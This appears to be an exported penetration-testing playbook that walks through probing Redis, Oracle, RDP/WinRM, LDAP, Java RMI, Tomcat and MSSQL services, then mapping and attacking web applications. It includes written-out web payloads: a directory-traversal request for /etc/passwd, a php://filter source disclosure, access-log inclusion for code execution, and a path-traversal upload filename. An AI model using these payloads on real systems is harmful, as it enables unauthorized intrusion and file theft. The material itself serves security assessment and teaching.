Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Inspect Redis access and persistence boundariesNot inspectedA Redis listener or application cache credentials

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

redis-cli -h TARGET -p PORT PING

Read the result

The connection is usable but command ACLs can remove persistence/configuration methods.

Still check: Inspect allowed operations, data visibility and actual persistence/destination/consumer conditions.

Illustrative output
PONG
Administrative operation: NOPERM this user has no permissions
Validate prerequisites and compare methods

Reachability and accepted authentication/ACL commands; persistence writes need CONFIG rights, destination permissions and a consumer

redis-cli -h TARGET -p PORT PING
Open numbered procedure and alternatives →

What did you find?

Enabled: Useful keys are readable or a fully permitted file-consumer chain exists: select that bounded capability.

Ruled out here: CONFIG denied rules out the familiar configuration-backed file-write route under this identity.

Unresolved: PING alone leaves key and administrative rights unknown; inspect the selected permitted command.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Cross role, function or session authorization boundaries — Administrative actions/routes or request methods visible from a lower role
Requires: The lower-role identity can invoke a protected server-side action without its required authorization

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Triage Oracle listener and database identityNot inspectedAn Oracle TNS listener or connection descriptor

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

nmap -Pn -sV -p 1521 TARGET

Read the result

Listener/product evidence and a service name establish a connection candidate, not database credentials or DBA rights.

Still check: Validate the exact descriptor/account and inspect its permitted database action.

Illustrative output
1521/tcp open oracle-tns Oracle TNS Listener
Application descriptor: SERVICE_NAME
Validate prerequisites and compare methods

Correct service/SID, reachable database transport and valid database credentials for authenticated work

nmap -Pn -sV -p 1521 TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected account logs in and grants a useful operation: enumerate within that role.

Ruled out here: The descriptor names a nonexistent service: reject that connection string before judging passwords.

Unresolved: An unidentified listener version or authentication error needs descriptor/account separation.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty

Validate RDP, WinRM, VNC and Telnet access contextsNot inspectedAn exposed remote-access application and compatible known credentials

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

Test-NetConnection TARGET -Port 3389
Test-NetConnection TARGET -Port 5985

Read the result

Transport offers an RDP candidate from this source; it does not establish remote-interactive rights.

Still check: Check actual protocol, local/domain context, accepted authentication and endpoint/logon authorization.

Illustrative output
RemotePort : 3389; TcpTestSucceeded : True
RemotePort : 5985; TcpTestSucceeded : False
Validate prerequisites and compare methods

Enabled destination service, matching authentication and protocol-specific logon/session rights

Test-NetConnection TARGET -Port 3389
Test-NetConnection TARGET -Port 5985
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended remote session opens and its identity is verified: enumerate the new host context.

Ruled out here: A known-valid identity lacks that logon right: reject this access form for the account.

Unresolved: A timeout cannot distinguish host firewall, route or absent service; verify the failed layer.

Show connections

These are conditional possibilities. Check the named condition before moving.

Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Discover LDAP naming contexts and authenticated searchNot inspectedLDAP/Kerberos listeners or a probable AD domain

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

ldapsearch -x -LLL -H ldap://DC_IP -s base -b '' defaultNamingContext namingContexts

Read the result

RootDSE supplies the search base; it does not grant arbitrary anonymous subtree access.

Still check: Check bind identity, transport/signing requirements and read visibility on the selected objects.

Illustrative output
dn:
defaultNamingContext: DC=DOMAIN,DC=TLD
Validate prerequisites and compare methods

Reachable directory; anonymous query permission or valid bind identity; required signing/TLS and naming context

ldapsearch -x -H ldap://DC_IP -s base -b '' namingContexts defaultNamingContext
Open numbered procedure and alternatives →

What did you find?

Enabled: A correctly authenticated scoped search returns expected objects: continue domain mapping.

Ruled out here: Anonymous subtree search is denied: reject anonymous enumeration while retaining a known-authenticated option.

Unresolved: An empty result may be the wrong base/filter or ACL visibility; compare a known object.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Enumerate directory objects with native, LDAP and PowerView approaches — A directory bind or domain-joined identity can read relevant objects
Requires: Correct search base and authentication transport; object/attribute visibility and compatible local utilities

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Investigate SIP/IRC identity and configuration cluesNot inspectedA confirmed SIP or IRC application

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

nmap -Pn -sV -p PORT TARGET
nc -nv TARGET PORT

Read the result

The real protocol and registration state determine the next client operation; the expected port label is insufficient.

Still check: Verify application/version, accepted interaction and exact exploit/access conditions.

Illustrative output
PORT/tcp open irc APPLICATION_VERSION
:HOSTNAME NOTICE AUTH :registration required
Validate prerequisites and compare methods

Application-specific request format; permitted registration/channel/configuration access

nmap -Pn -sV -p PORT TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: Normal protocol interaction exposes useful configuration or an exact vulnerable component: follow that candidate.

Ruled out here: The listener speaks another protocol: remove the SIP/IRC assumption.

Unresolved: A silent client-first or UDP service requires an appropriate protocol request; no greeting is not a version conclusion.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

S13 · Inspect a Java RMI registry before selecting an exploitNot inspectedDiscovery / validation only · action procedure pending
  • Enter: service detection or an application response identifies Java RMI on a selected port.

  • Discover: enumerate bound names, classes, remote endpoints and codebase annotations without assuming the registry is exploitable:

    nmap -sV -p PORT --script rmi-dumpregistry TARGET
    
  • Validate: confirm the selected endpoint is the actual registry/service, its class-loading/serialization behavior, Java/version prerequisites and whether any proposed test is intrusive. The Nmap class-loader probe is categorized intrusive and must not be the baseline:

    nmap -p PORT --script rmi-vuln-classloader TARGET
    
  • Execute: no generic RMI/serialization execution procedure is registered. Route a matched component/version/condition to D16 only after the required behavior is established; see RW05.

  • Verify: registry names or a vulnerable class-loader result are component evidence, not a session. A complete action must separately verify the executed identity and resulting capability.

  • Outcomes: matching component and vulnerable behavior → candidate for reviewed D16 procedure; no registry or prerequisite decisively absent → ruled out here; filtered/incomplete registry or ambiguous class loading → inconclusive.

  • Sources: Nmap rmi-dumpregistry and rmi-vuln-classloader.

S14 · Classify a Tomcat Manager interface and accepted roleNot inspectedDiscovery / validation only · action procedure pending
  • Enter: the application is confirmed as Apache Tomcat and a /manager/* interface responds.

  • Discover: inspect the selected interface and authentication boundary without spraying credentials:

    curl -sk -D - "https://TARGET:PORT/manager/html" -o /dev/null
    curl -sk -D - "https://TARGET:PORT/manager/text/list" -o /dev/null
    
  • Validate: identify the accepted account and manager role: manager-gui, manager-script, manager-jmx or manager-status. GUI access and text-script access are intentionally separate; a 401, 403 and application 404 have different meanings.

  • Execute: current notes do not yet own a version-scoped deployment, verification and cleanup procedure. Preserve the authenticated management capability and see RW06. JBoss/Jenkins and other managers remain separate product branches under RW07.

  • Verify: a manager listing proves the interface/role only. A deployable application, reachable context path and server-side execution identity require separate proof.

  • Outcomes: accepted deployment-capable role → ready for a reviewed product procedure; role/interface denies the required operation → ruled out for that role; proxy rewriting, wrong scheme/path or ambiguous realm → inconclusive.

  • Source: Apache Tomcat Manager App HOW-TO.

S15 · Follow an MSSQL linked server as a new SQL identity boundaryNot inspected
  • Enter: a working MSSQL login reveals one linked server or login mapping.
  • Discover: enumerate sys.servers and sp_helplinkedsrvlogin, preserving local login, remote server, provider/data source and mapping.
  • Validate: test one read-only remote identity query through the supported RPC or data-access mechanism. Do not enable RPC, create mappings or change configuration for enumeration.
  • Execute: MSSQL linked-server and login-context mapping.
  • Verify: record returned SYSTEM_USER, ORIGINAL_LOGIN() and the remote role result. A remote SQL query is not OS command execution.
  • Outcomes: mapped remote query succeeds → re-enter D07 for that server/identity; link exists but RPC/data access is decisively unavailable → ruled out for that mechanism; mapping/authentication/provider failure is unresolved → inconclusive/D31.

Map useful web behavior

Establish scheme, host, redirects and request stateNot inspectedAn HTTP endpoint, redirect or hostname-dependent response

Starting access: A reachable HTTP application and recorded anonymous or authenticated request state

Discover the clue

curl -skD headers.txt -o body.html http://TARGET:PORT/
curl -skI https://TARGET:PORT/

Read the result

The hostname/scheme redirect identifies the application request context to reproduce.

Still check: Confirm the hostname routes to the assigned address and preserve its TLS/Host/session state.

Illustrative output
HTTP/1.1 302 Found
Location: https://HOSTNAME/
Set-Cookie: SESSION_COOKIE
Validate prerequisites and compare methods

Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

curl -skD headers.txt -o body.html http://TARGET:PORT/
curl -skI https://TARGET:PORT/
Open numbered procedure and alternatives →

What did you find?

Enabled: The correct named request reaches a distinct application: map its functions.

Ruled out here: The candidate name produces only the default missing-host response: discard that virtual-host inference.

Unresolved: Redirect loops can mean missing cookies/host routing; repair the normal request before testing vulnerabilities.

Show connections

These are conditional possibilities. Check the named condition before moving.

Discover virtual hosts and hostname-selected applications — DNS names, redirects, certificate names or a default virtual-host response
Requires: A destination listener, relevant domain candidates and controlled Host/SNI routing

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Map functions, roles and normal requests manuallyNot inspectedForms, downloads, exports, account functions or role-specific interfaces

Starting access: A reachable HTTP application and recorded anonymous or authenticated request state

Discover the clue

curl -sk -b cookies.txt -D response-headers.txt http://TARGET:PORT/PATH

Read the result

The normal request exposes a file-selecting input discovered through functionality, not guessed from a payload list.

Still check: Find the actual input semantics, account/role and normal response before file/read/authorization tests.

Illustrative output
Observed browser request:
GET /download?file=report.pdf
Cookie: SESSION_COOKIE
Validate prerequisites and compare methods

A normal request baseline and the relevant account/role; authorized accounts for role comparisons

curl -sk -b cookies.txt -D response-headers.txt http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: Controlled comparisons prove a useful primitive: choose its method and remaining checks.

Ruled out here: The parameter only selects an allowlisted public report: discard unrestricted-path inference.

Unresolved: Unknown ownership or an expired session prevents interpreting differences; re-establish the baseline.

Show connections

These are conditional possibilities. Check the named condition before moving.

Cross an object-ownership boundary — A request selects an object by ID/path and two authorized ownership contexts are available
Requires: The server accepts a lower-privilege identity's request for an object it should not access

Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Establish upload acceptance, storage and retrieval — An upload/import/attachment function
Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes

Prove server-side template evaluation and identify its engine — Controlled input appears in a server-rendered template, preview, email or report
Requires: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function

Use an XML parser's external-entity behavior for bounded file read — A working XML request reaches a server-side parser that accepts a controlled document or field
Requires: External entity or XInclude processing is enabled and the parser identity can read the selected file

Test structured NoSQL operator injection with identity controls — A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query
Requires: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type

Match PHP deserialization gadgets to installed dependencies — Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize
Requires: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes

Validate unsafe YAML object construction — Source or errors identify server-side Python YAML loading of controlled content
Requires: The application uses an unsafe PyYAML loader that permits the selected Python object constructor

Test Shellshock only through a confirmed CGI-to-Bash chain — A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family
Requires: HTTP-derived environment data reaches an affected Bash process and the selected command is available

Discover directories and files with controlled response filtering — An application has unlinked paths, backups or administration endpoints
Requires: Correct base URL/session and a measured nonexistent-path response; bounded relevant wordlist

Inspect source, backups, configuration and repository artifactsNot inspectedJavaScript endpoints, backup names, exposed configuration or Git metadata

Starting access: A reachable HTTP application and recorded anonymous or authenticated request state

Discover the clue

curl -sk http://TARGET:PORT/robots.txt
curl -sk http://TARGET:PORT/.git/HEAD

Read the result

The path and Git reference are investigation leads; neither proves a working secret or complete repository.

Still check: Compare missing-path controls, retrieve actual permitted artifacts and verify recovered history/account context.

Illustrative output
robots.txt: Disallow: /INTERNAL_PATH/
.git/HEAD: ref: refs/heads/main
Validate prerequisites and compare methods

Readable application artifact or a complete recoverable repository; preserve the public-source scope

curl -sk http://TARGET:PORT/robots.txt
curl -sk http://TARGET:PORT/.git/HEAD
Open numbered procedure and alternatives →

What did you find?

Enabled: Relevant source/history is recoverable and exposes a typed artifact: inspect it through the credential workflow.

Ruled out here: The same body is returned for arbitrary missing paths: reject the apparent metadata exposure.

Unresolved: HEAD without objects leaves repository recovery incomplete; document available content instead of inventing history.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Map parameters, API methods, objects and writable properties — An API/schema, numeric object IDs, hidden fields or different HTTP methods
Requires: A valid request and explicit role/object ownership; exact input format and content type

Discover directories and files with controlled response filteringNot inspectedAn application has unlinked paths, backups or administration endpoints

Starting access: A reachable HTTP application and recorded anonymous or authenticated request state

Discover the clue

curl -sk -D - http://TARGET:PORT/KNOWN_MISSING_PATH

Read the result

The candidate's actual function differs from the soft-404 control despite equal status codes.

Still check: Request a known-missing path under the same host/session and compare status, body and length. Open each distinct Gobuster/ffuf result; a uniform login page or soft-404 is a filter problem, not a directory finding.

Illustrative output
Missing control: status=200, body=DEFAULT_ERROR
Candidate /EXPORT_PATH/: status=200, body=EXPORT_FORM
Validate prerequisites and compare methods

Correct base URL/session and a measured nonexistent-path response; bounded relevant wordlist

curl -sk -D - http://TARGET:PORT/KNOWN_MISSING_PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: Independent retrieval confirms an actual function: add its request to the behavior map.

Ruled out here: The candidate matches the wildcard error body: remove it from the useful queue.

Unresolved: Rate limiting or session expiry distorts response size; restore stable controls before filtering.

Show connections

These are conditional possibilities. Check the named condition before moving.

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Establish upload acceptance, storage and retrieval — An upload/import/attachment function
Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes

Discover virtual hosts and hostname-selected applicationsNot inspectedDNS names, redirects, certificate names or a default virtual-host response

Starting access: A reachable HTTP application and recorded anonymous or authenticated request state

Discover the clue

curl -sk --resolve HOSTNAME:PORT:TARGET https://HOSTNAME:PORT/

Read the result

A reproducible hostname-selected application is a new mapping target on the same address.

Still check: Send a random Host header as a negative control, compare the candidate's real response, then browse it with the correct hostname. A different status caused only by redirects or a default site is not a confirmed vhost.

Illustrative output
Host HOSTNAME: application login page
Host INVALID_HOST: default server page
Validate prerequisites and compare methods

A destination listener, relevant domain candidates and controlled Host/SNI routing

curl -sk --resolve HOSTNAME:PORT:TARGET https://HOSTNAME:PORT/
Open numbered procedure and alternatives →

What did you find?

Enabled: The named application has distinct verified behavior: give it its own session/function map.

Ruled out here: All candidate hosts receive the same default body: discard the claimed distinct application.

Unresolved: TLS routing or local DNS is wrong: fix that context before deciding a vhost is absent.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Map parameters, API methods, objects and writable propertiesNot inspectedAn API/schema, numeric object IDs, hidden fields or different HTTP methods

Starting access: A reachable HTTP application and recorded anonymous or authenticated request state

Discover the clue

curl -sk -i -b cookies.txt http://TARGET:PORT/api/PATH

Read the result

The actual object, method and writable input are known; returned owner/role fields are only candidate security boundaries.

Still check: Determine field binding, ownership, persistence and server authorization with controlled accounts.

Illustrative output
Object fields: id, ownerId, role
Observed request: PATCH /api/profile
Body: {"displayName":"VALUE"}
Validate prerequisites and compare methods

A valid request and explicit role/object ownership; exact input format and content type

curl -sk -i -b cookies.txt http://TARGET:PORT/api/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: A protected field/action changes under a lower role and is independently verified: select its authorization method.

Ruled out here: The server ignores the sensitive field and privileges remain unchanged: reject that assignment hypothesis.

Unresolved: Malformed JSON or wrong content type makes a failed request inconclusive; reproduce the valid update first.

Show connections

These are conditional possibilities. Check the named condition before moving.

Modify a protected property through excessive writable fields — API objects expose role, ownership or security-sensitive properties
Requires: The server binds an untrusted property to a persistent security-relevant field without checking permission

Cross an object-ownership boundary — A request selects an object by ID/path and two authorized ownership contexts are available
Requires: The server accepts a lower-privilege identity's request for an object it should not access

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Establish SQL query influence and DBMS context — Database errors or controlled true/false response differences
Requires: Input reaches a SQL query; a valid request and stable response baseline exist

Execute browser code and validate a useful same-origin action — Untrusted input reaches an executable HTML/JavaScript context
Requires: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

Use server-side requests to inspect reachable internal behavior — URL import, preview, webhook or fetch behavior
Requires: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

S12 · Map an authentication, session or multistep web flowNot inspected
  • Enter: the application exposes login, registration, recovery, role change, state-changing business action, authenticated API or another session-dependent flow.
  • Discover: capture a working anonymous and/or authenticated request, then record method, scheme/host/path, headers, cookies/tokens, body fields, hidden values, redirects, role and each step required to complete the action. Include non-GET/POST methods, JSON/XML bodies and WebSocket/API messages when the application actually uses them.
  • Validate: replay the unchanged request first; then change one identity, object, property or session boundary at a time. Confirm freshness, CSRF/token coupling, object ownership and whether the result is server-side rather than a browser-only presentation change.
  • Execute: HTTP and web mapping, then route only the demonstrated effect to the existing parameter, authorization, IDOR, mass-assignment, XSS, parser or command/SQL method.
  • Verify: preserve one reproducible request/response pair and the exact role/session/object delta. Mapping a field or flow is not itself exploitation.
  • Outcomes: controlled unauthorized effect → D14 or the matching primitive; invariant authorization/ownership enforcement → ruled out for that transition; token expiry, cache, redirect or client-side behavior masks the result → inconclusive/D31.
  • Source: OWASP WSTG entry-point mapping.

Turn application weaknesses into access

Read files through directory traversalNot inspectedA download/path parameter or URL segment influences a local filename

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -b cookies.txt -D - 'http://TARGET:PORT/download?file=report.pdf'

Read the result

An application-controlled file selection is the cue to test path confinement; it is not yet arbitrary read.

Still check: Request a known target-platform file through the real file parameter/path and compare with the normal response. Require recognizable file contents; a reflected filename, error or status change is not a read.

Illustrative output
GET /download?file=report.pdf
Content-Disposition: attachment; filename=report.pdf
Body: EXPECTED_REPORT_BYTES
Validate prerequisites and compare methods

Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: A controlled out-of-directory request returns the intended target bytes: the traversal method is available.

Ruled out here: An allowlist rejects paths and only serves approved report IDs: this path-selection context is not a traversal route.

Unresolved: An error mentioning a path shows influence but not read access; compare normal/control requests and permission/path depth.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Disclose PHP source through an inclusion wrapper — A PHP page/include parameter and possible access to local application files
Requires: A PHP inclusion sink accepts the filter wrapper and the process can read the source

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Disclose PHP source through an inclusion wrapperNot inspectedA PHP page/include parameter and possible access to local application files

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -D - 'http://TARGET:PORT/index.php?page=about'

Read the result

An include-related error suggests an evaluating PHP sink, unlike an ordinary file-download function.

Still check: Verify that the actual sink accepts a filter wrapper and returns decodable target source; errors alone do not prove it.

Illustrative output
Normal link: index.php?page=about
Error for invalid page: include(PAGE.php): failed to open stream
Validate prerequisites and compare methods

A PHP inclusion sink accepts the filter wrapper and the process can read the source

curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
Open numbered procedure and alternatives →

What did you find?

Enabled: The wrapper yields source that decodes correctly: use that source-disclosure method.

Ruled out here: The endpoint reads raw bytes through a wrapper-incompatible API: reject this PHP-inclusion hypothesis.

Unresolved: PHP branding without sink evidence leaves inclusion unproved; investigate normal request/source behavior first.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Turn controlled local file content into inclusion execution — A confirmed evaluating include and a log or file containing attacker-controlled bytes
Requires: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Turn controlled local file content into inclusion executionNot inspectedA confirmed evaluating include and a log or file containing attacker-controlled bytes

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -A 'LOG_CANARY' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/PATH/TO/access.log' http://TARGET:PORT/index.php

Read the result

The include/read identity can reach a log containing your controlled input; evaluation and payload preservation still need proof.

Still check: Separate raw file read from interpreter evaluation, confirm exact file path and encoding, then a minimal command effect.

Illustrative output
Readable log excerpt: GET / ... User-Agent=LOG_CANARY
Validate prerequisites and compare methods

Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available

curl -skG --data-urlencode 'page=/var/log/apache2/access.log' http://TARGET:PORT/index.php
Open numbered procedure and alternatives →

What did you find?

Enabled: Controlled log bytes are evaluated and the bounded identity proof succeeds: use the inclusion-execution chain.

Ruled out here: The log is only served as inert text: rule out execution through this reader while retaining file disclosure.

Unresolved: No marker may mean a different log, buffered writes or escaped content; inspect configuration before changing payloads.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Read files through directory traversal — A download/path parameter or URL segment influences a local filename
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Establish upload acceptance, storage and retrievalNot inspectedAn upload/import/attachment function

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload

Read the result

The real upload route, field and response identify a storage/retrieval candidate.

Still check: Retrieve the canary independently; establish stored bytes, final name and account/context before testing execution.

Illustrative output
HTTP/1.1 201 Created
{"id":"UPLOAD_ID","url":"/files/UPLOAD_ID"}
Validate prerequisites and compare methods

A valid upload request and permitted account; the server accepts and stores controlled bytes

printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
Open numbered procedure and alternatives →

What did you find?

Enabled: The canary is stored and retrievable: a write/retrieval primitive is verified.

Ruled out here: The server only validates and discards the upload: reject the assumed persistent-write capability.

Unresolved: A success message without a retrieval/path observation leaves persistence unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Execute an uploaded file through a compatible handler — Uploads are retrievable and the application stack suggests an executable file handler
Requires: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

Use upload path control to reach a useful consumer — A multipart filename/import path appears to influence the filesystem destination
Requires: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Execute an uploaded file through a compatible handlerNot inspectedUploads are retrievable and the application stack suggests an executable file handler

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -i http://TARGET:PORT/uploads/FILE

Read the result

A retrievable script may be inert. The interesting detail is how the final location is handled, not acceptance of a script extension.

Still check: Retrieve the exact stored upload and request it through the candidate server-side handler. Verify an attributable identity marker from that request; uploaded bytes or a 200 response alone do not prove execution.

Illustrative output
Stored file response:
Content-Type: text/plain
Body: literal uploaded script source
Validate prerequisites and compare methods

Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

curl -sk -i http://TARGET:PORT/uploads/FILE
Open numbered procedure and alternatives →

What did you find?

Enabled: The correct final handler executes the minimal proof as the web identity: choose upload-to-execution.

Ruled out here: The file consistently downloads/displays as source in non-executable storage: rule out execution at this location.

Unresolved: Unknown server rename or storage URL leaves handler selection unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Use upload path control to reach a useful consumer — A multipart filename/import path appears to influence the filesystem destination
Requires: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

Use upload path control to reach a useful consumerNot inspectedA multipart filename/import path appears to influence the filesystem destination

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload

Read the result

An independently located out-of-directory canary is path-control evidence; it does not establish access to another user's key directory.

Still check: Confirm filesystem identity, exact destination semantics, write permissions and a useful consumer/trigger.

Illustrative output
Submitted filename: ../UNIQUE_CANARY.txt
Independent listing: /EXPECTED_PARENT/UNIQUE_CANARY.txt
Validate prerequisites and compare methods

Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload
Open numbered procedure and alternatives →

What did you find?

Enabled: A controlled usable destination and its consumer accept the file: select that verified write-to-access chain.

Ruled out here: The server strips path components and stores only a generated basename: reject arbitrary placement in that context.

Unresolved: A reflected submitted path without independent location evidence leaves placement inconclusive.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Prove effective file, directory, ACL and mount control — A root-consumed file or directory appears writable
Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Prove visible or blind operating-system command injectionNot inspectedAn input appears in a command-like operation or causes shell-dependent behavior

Starting access: A reproducible application request and a controlled input or access-context comparison

Discover the clue

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH

Read the result

The function and output suggest an OS utility consumer; the parameter's parsing boundary is the candidate.

